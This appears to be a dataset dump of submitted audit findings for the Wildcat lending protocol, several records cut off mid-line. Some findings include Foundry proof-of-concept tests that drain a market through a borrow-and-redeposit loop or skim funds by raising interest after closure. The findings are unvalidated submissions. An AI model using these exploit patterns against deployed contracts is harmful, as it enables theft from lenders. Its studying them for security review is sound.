xanoutas/solidity-security-findings huggingface dataset:
Borrower can completely drain a market below its reserve ratio
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L153


# Vulnerability details

## Impact
A borrower can add themselves as an authorized lender allowing them to both `borrow` and `deposit` into the market.

This will allow a borrower to completely drain a market of all its assets circumventing the `Reserve Ratio` put in place.

It also allows the borrower to have a senior claim on any potential assets paid back by a 3rd party leaving any honest lender with no option to be paid back through the contract. Protocol fees can still be claimed in case of a white knight effort to pay back debt, not making the protocol look good in the eyes of honest lenders.

It should not be possible for a borrower to get more money out of a market than was intended.

## Proof of Concept
Here's the detailed step by step using the default parameters of a market -

```Solidity
  function testBorrower() external {
    WildcatMarket market = marketTest.getMarket(); 
    controller = WildcatMarketController(market.controller());
    asset = MockERC20(market.asset());

    address actor;
    address lender1;
    address[] memory actors = new address[](2);

    asset.mint(address(this), type(uint128).max);

    actor = lender1 = makeAddr("lender1");
    actors[0] = actor;

    actor = borrower;
    actors[1] = actor;

    // authorize both lender and borrower
    vm.prank(borrower);
    controller.authorizeLenders(actors);

    // honest lender deposit 10 ETH
    uint lenderAmount = 10 ether;
    asset.transfer(lender1, lenderAmount);

    vm.startPrank(lender1);
    asset.approve(address(market), lenderAmount);
    market.depositUpTo(lenderAmount);
    vm.stopPrank();

    // malicious borrower now borrows and deposits back into the market
    vm.startPrank(borrower);

    uint amount;
    while((market.totalAssets() - market.coverageLiquidity()) > 0) {
      amount = market.borrowableAssets();
      // borrow
      market.borrow(amount);
      // lend out
      asset.approve(address(market), amount);
      market.depositUpTo(amount);
    }

    market.queueWithdrawal(market.scaledBalanceOf(borrower));
    MarketState memory state = market.currentState();
    uint32 expiryBorrower = state.pendingWithdrawalExpiry;

    vm.stopPrank();

    // borrower 

    // wait for withdrawal period
    vm.warp(block.timestamp + 1 days);

    uint balanceBefore = asset.balanceOf(borrower);
    assertEq(balanceBefore, 0);

    // drain the market
    market.getAvailableWithdrawalAmount(borrower, expiryBorrower);
    market.executeWithdrawal(borrower, expiryBorrower);

    // convince ourselves we've drained the market
    assertEq(asset.balanceOf(borrower), lenderAmount);
    assertEq(asset.balanceOf(address(market)), 0);

    // honest lender tries to withdraw
    vm.prank(lender1);
    market.queueWithdrawal(lenderAmount);

    state = market.currentState();
    uint32 expiry = state.pendingWithdrawalExpiry;

    vm.warp(block.time
Discrepancy in Scale value due to Rounding up would cause Denial of Service at certain points
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L206
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/libraries/MarketState.sol#L63-L78
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/libraries/MathUtils.sol#L138-L166
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L504-L513


# Vulnerability details

## Impact
Denial of Service when processing UnpaidWithdrawalBatch function in the WildcatMarketWithdrawals contract due to excess Discrepancy in Scale Value assigned to batch.scaledTotalAmount & batch.scaledAmountBurned as a result of rounding up from the [rayMul(...) & rayDiv(...)](https://github.com/code-423n4/2023-10-wildcat/blob/main/src/libraries/MathUtils.sol#L138-L166) function in the MathUtils Library.

## Proof of Concept
```solidity
function processUnpaidWithdrawalBatch() external nonReentrant {
...
>>>  if (batch.scaledTotalAmount == batch.scaledAmountBurned) {
      _withdrawalData.unpaidBatches.shift();
      emit WithdrawalBatchClosed(expiry);
    }
```
The code above shows the critical validation required to carry out _withdrawalData.unpaidBatches.shift() when batch scaledTotalAmount is equavalent to batch scaledAmountBurned. The problem is batch scaledAmountBurned will  sometimes not be equal to batch scaledTotalAmount when expected due to the rounding up done when scaledAmount is usually calculated indirectly from the [rayMul(...) & rayDiv(...)](https://github.com/code-423n4/2023-10-wildcat/blob/main/src/libraries/MathUtils.sol#L138-L166) functions used by the normalizeAmount(...) & scaleAmount(...) as shown in code snippet below. This is because rounding up is done when the return result is a decimal of 0.5 and above.
The problem arises when batch.scaledTotalAmount is filled up from more multiple roundups of scaleAmount than the number of round ups when batch.scaledAmountBurned is filled. Meaning the expectation that batch.scaledAmountBurned will be possibly be sometimes be equal to batch.scaledTotalAmount will not always be the case due to little shift in value from difference in calculations due to rounding up. 
```solidity
 /**
   * @dev Normalize an amount of scaled tokens using the current scale factor.
   */
  function normalizeAmount(
    MarketState memory state,
    uint256 amount
  ) internal pure returns (uint256) {
>>>    return amount.rayMul(state.scaleFactor);
  }

  /**
   * @dev Scale an amount of normalized tokens using the current scale factor.
   */
  function scaleAmount(MarketState memory state, uint256 amount) internal pure returns (uint256) {
>>>    return amount.rayDiv(state.scaleFactor);
  }
```
How batch.scaledAmountBurned is assigned in the code needs to be checked out to see if it is written to prevent such Denial of Service. The code below shows one of the ways batch.scaledAmountBurned is filled, the point of interest is "scaledAmountBurned" which picks the minimum value betwe
Borrower can update interest on closed market causing it to accrue interest and lead to unfair withdrawal
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L468


# Vulnerability details

## Impact
Parameter adjustment after market is closed should not be possible per documentation
"When a market is closed, sufficient assets must be repaid to increase the reserve ratio to 100%, after which interest ceases to accrue and _no further parameter adjustment or borrowing is possible_."
When market is closed, every lender in the market should be able to 1:1 convert their market token into asset as no interest should accrue. But in this case where it is still possible to update interest rate for closed market. The remaining market token will continue to accrue interest, causing late withdrawal to receive less than 1:1 on their market token due to earlier withdrawal already withdraw their share with inflated market token.
Example: Given Alice and Bob both have 1 ETH deposit in market when it was closed and borrower set interest rate to 100%. Assume no one withdraw because they forgot. Then 1 year later, Alice can withdraw up to 2 ETH which is entire reserve, leaving Bob unable to withdraw.

## Proof of Concept
The test inherits `BaseMarketTest`. Following an example of Alice and Bob above.
```
    function test_ClosedMarketAccrueInterest_CauseUnfairWithdrawal() public {
        // Alice and Bob both deposit 1e18
        _deposit(alice, 1e18);
        _deposit(bob, 1e18);
        // Close market
        vm.prank(address(controller));
        market.closeMarket();
        // Hike interest rate of closed market to 100%
        vm.prank(borrower);
        controller.setAnnualInterestBips(address(market), 10000);
        // 1 year passed, interest should accrue by 1e18 so both should have 2e18 market token
        skip(365 days);
        assertEq(market.balanceOf(alice), 2e18);
        assertEq(market.balanceOf(bob), 2e18);
        assertEq(market.accruedProtocolFees(), 0.2e18); // Protocol fees still apply as well
        // Alice withdraw first with inflated market token
        vm.prank(alice);
        market.queueWithdrawal(2e18);
        uint32 expiry = uint32(
            block.timestamp + parameters.withdrawalBatchDuration
        );
        uint256 aliceAssetBefore = asset.balanceOf(alice);
        // Skip time to expiry and execute withdraw for Alice
        skip(parameters.withdrawalBatchDuration);
        market.executeWithdrawal(alice, expiry);
        // Alice withdrew entire reserve less protocol fees
        assertEq(asset.balanceOf(alice) - aliceAssetBefore, 1.8e18);
        assertEq(market.balanceOf(alice), 0);
        // Bob tries to withdraw
        vm.prank(bob);
        market.queueWithdrawal(2e18);
        expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);
        // Bob can't withdraw because he is slow :(
        skip(parameters.withdrawalBatchDuration);
        vm.expectRevert(abi.encodeWithSignature("NullWithdrawalAmount()"));
        market.executeWithdrawal(bob, e
Escrow release asset to wrong account address
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L172-L176


# Vulnerability details


## Impact

When `lender` is sanctioned, fund is locked inside Escrow. Escrow params input is wrong.
Causing funds locked under `borrower` name instead of `lender` name.

After sanction is lifted, fund will mistakenly transfered to `borrower` address not `lender` address.

## Proof of Concept

Permission check: Only Registered Wildcat market can block lender and have permission create new locked escrow for lender fund.
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L100-L102

The `_blockAccount()` that call `createEscrow()` for sanctioned `lender` do the following:
- blacklist `lender`
- remove fund from lender address.
- create escrow contract
- give fund to escrow contract

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L163-L186

The part create escrow contract have a problem. The input order is: `(accountAddress, borrower, address(this))`. 
- `accountAddress` is `lender` address
- `borrower` is `borrower` address
- `address(this)` is `WildcatMarket` which is also ERC20 token.

When escrow is created `createEscrow()` input requirement is: `(borrower, account, asset)`
Escrow contract only return fund to `account` address.
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L108-L110


Because the `borrower` address and `lender` address is swapped.
So the escrow contract will be created with fund from `lender` address but cache the original account fund is `borrower` address.

When sanction is lifted, `lender` address is removed from blacklist, recovering fund will mistakenly transfered to `borrower` address.

## Tools Used

Manual

## Recommended Mitigation Steps
Swapping input order to correct order.
```git
File: WildcatMarketBase.sol
         address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
-           accountAddress,
-           borrower,
+           borrower,
+           accountAddress,
           address(this)
         );
```



## Assessed type

Context
Lack of appropriate function in `WildcatMarketController` to close the market
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L142


# Vulnerability details

The `WildcatMarket` contract has a `closeMarket` function that should allow the borrower to close the existing market if needed and the required conditions are met:
```solidity
File: WildcatMarket.sol
133:   /**
134:    * @dev Sets the market APR to 0% and marks market as closed.
135:    *
136:    *      Can not be called if there are any unpaid withdrawal batches.
137:    *
138:    *      Transfers remaining debts from borrower if market is not fully
139:    *      collateralized; otherwise, transfers any assets in excess of
140:    *      debts to the borrower.
141:    */
142:   function closeMarket() external onlyController nonReentrant { 
...
```

The `closeMarket` function could be called only through the market controller due to it's access control modifier.

The motivation for existing such functionality is clearly described in protocol documentation:
```
In the event that a borrower has finished utilising the funds for the purpose that the market was set up to facilitate (or if lenders are choosing not to withdraw their assets and the borrower is paying too much interest on assets that have been re-deposited to the market), the borrower can close a market at will.
```

However, if we check the code of `WildcatMarketController` we can't find an appropriate function that would allow the borrower to call `closeMarket` at the market address. This would lead to the situation described earlier in docs - borrowers would need to pay interest for funds their not used after finished utilizing the funds.

## Impact
Borrowers cannot close the market if needed and would need to pay interest for funds their not used after finished utilizing the funds.

## Proof of Concept

1. Borrower creates a new market.
2. Lenders deposit their funds into the market.
3. Borrower uses provided funds and later returns them back to the market.
4. Lenders do not withdraw their funds, interests continue to accrue for their deposits.
5. Borrower can't close the market and is forced to pay interest for funds that are not utilized anymore.

This bug is missed in tests since they implemented in the way the caller is pranked as a `controller` address, while it should be an actual call through not existed `WildcatMarketController#closeMarket` function - L202:
```solidity
File: WildcatMarket.t.sol
198:   // ===================================================================== //
199:   //                             closeMarket()                              //
200:   // ===================================================================== //
201: 
202:   function test_closeMarket_TransferRemainingDebt() external asAccount(address(controller)) {
203:     // Borrow 80% of deposits then request withdrawal of 100% of deposits
204:     _depositBorrowWithdraw(alice, 1e18, 8e17, 1e18);
205:     startPrank(borrower);
206:     asset.approve(address(marke
Lack of `setMaxTotalSupply` implementation in the market controller contract
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L136-L139


# Vulnerability details

## Impact
The `setMaxTotalSupply` function in `WildMarketConfig.sol` has the `onlyController` modifier, which means only the market controller can call it, but if we look at `WildcatMarketController.sol`, there is no such function. As a result the owner of the wildcat protocol market can't set new max total supply.  

## Proof of Concept
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L136-L139

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134

## Tools Used
Manual review
## Recommended Mitigation Steps
Implement function that will call `setMaxTotalSupply` from the market controller.


## Assessed type

Access Control
Borrower can drain the market of all it's liquidity
Audit: 2023-10-wildcat-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L60-L64
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L129


# Vulnerability details

## Impact
Borrower can get unlimited (there is `maxTotalSupply`, but borrower can control it) market tokens through `borrow`-`depositTo` cycle. The flow is:
- borrower registers himself as a lender,
- then he proceeds to borrow and deposit borrowed tokens until his balance equals to sum of all assets in the market contract,
- queue and withdraw

## Proof of Concept
Test case for the `WildcatMarket.t.sol`

```
  function test_drainTheMarket() external {
    vm.prank(address(controller));
    market.setMaxTotalSupply(500_000e18);
    _authorizeLender(bob);
    // lenders deposit their tokens
    vm.prank(alice);
    market.deposit(50_000e18);
    vm.prank(bob);
    market.deposit(50_000e18);
    vm.warp(86400*10);
    // borrower makes himself a lender
    _authorizeLender(borrower);
    assertEq(asset.balanceOf(borrower), 0);
    // start borrowing and depositing
    vm.startPrank(borrower);
    asset.approve(address(market), ~uint256(0));
    market.borrow(70_000e18);
    market.deposit(40_000e18);
    market.borrow(30_000e18);
    market.deposit(30_000e18);
    market.borrow(35_000e18);
    market.deposit(35_000e18);
    console.log("BAL: ", market.balanceOf(borrower));
    market.queueWithdrawal(105_000e18);
    // queue and withdraw
    uint256 expiry = block.timestamp + parameters.withdrawalBatchDuration;
    vm.warp(expiry);
    market.executeWithdrawal(borrower, uint32(expiry));
    market.collectFees();
    assertGt(asset.balanceOf(address(borrower)), 99_000e18); //alice + bob balances minus some protocol fees
    assertEq(asset.balanceOf(address(market)), 0);
  }
```


## Tools Used
Foundry
## Recommended Mitigation Steps
A naive approach would be to prevent the borrower from depositing into his own market, but the problem is much deeper, since the borrower may have multiple wallets with which he can commit this attack. I'm afraid there is no simple solution without overhauling the current architecture.





## Assessed type

Rug-Pull
Lack of access control on `overrideSanction()`, any user can override sanctioned address
Audit: 2023-10-wildcat-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatSanctionsSentinel.sol#L45-L51


# Vulnerability details

## Impact

Without proper access control, any address can call the `overrideSanction` function and override the sanction status of an account.
This can potentially be exploited by malicious actors to bypass sanctions and carry out unauthorized actions, putting the entire protocol at risk.

The integrity of the sanction overrides data is compromised, as any user can manipulate the status, leading to unreliable and incorrect data.

Users may lose trust in the protocol due to its inability to secure important functions, which could lead to a decrease in user adoption and overall value of the protocol.

## Proof of Concept
```
// Malicious actor's contract
contract Attack {
    address targetProtocol; // Address of the target protocol
    
    constructor(address _targetProtocol) {
        targetProtocol = _targetProtocol;
    }

    function exploit() public {
        // Exploit the lack of access control in the target protocol
        TargetProtocol(targetProtocol).overrideSanction(victimAccount);
    }
}
```
In the above proof of concept, a malicious actor deploys a contract Attack that calls the overrideSanction function on the target protocol, exploiting the lack of access control and potentially overriding sanctions on an account.



## Tools Used
Vscode

## Recommended Mitigation Steps
Add access control to the `overrideSanction` function to ensure that only authorized addresses can call this function.


## Assessed type

Access Control
An underflow occurred during the token transfer.
Audit: 2023-10-wildcat-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketToken.sol#L41-L57


# Vulnerability details

## Impact
An underflow can occur during a token transfer when there is insufficient allowance.
## Proof of Concept
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketToken.sol#L41-L57
```
  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external virtual nonReentrant returns (bool) {
    uint256 allowed = allowance[from][msg.sender];

    // Saves gas for unlimited approvals.
    if (allowed != type(uint256).max) {
      uint256 newAllowance = allowed - amount;
      _approve(from, msg.sender, newAllowance);
    }

    _transfer(from, to, amount);

    return true;
  }
```
In this function, an underflow may occur with the line:
uint256 newAllowance = allowed - amount;
This will result in an invalid operation.
## Tools Used

## Recommended Mitigation Steps
To prevent this case, you should include a require statement. Here's how you can modify the code:

```
require(allowed >= amount, "Insufficient allowance");
uint256 newAllowance = allowed - amount;
```


## Assessed type

Under/Overflow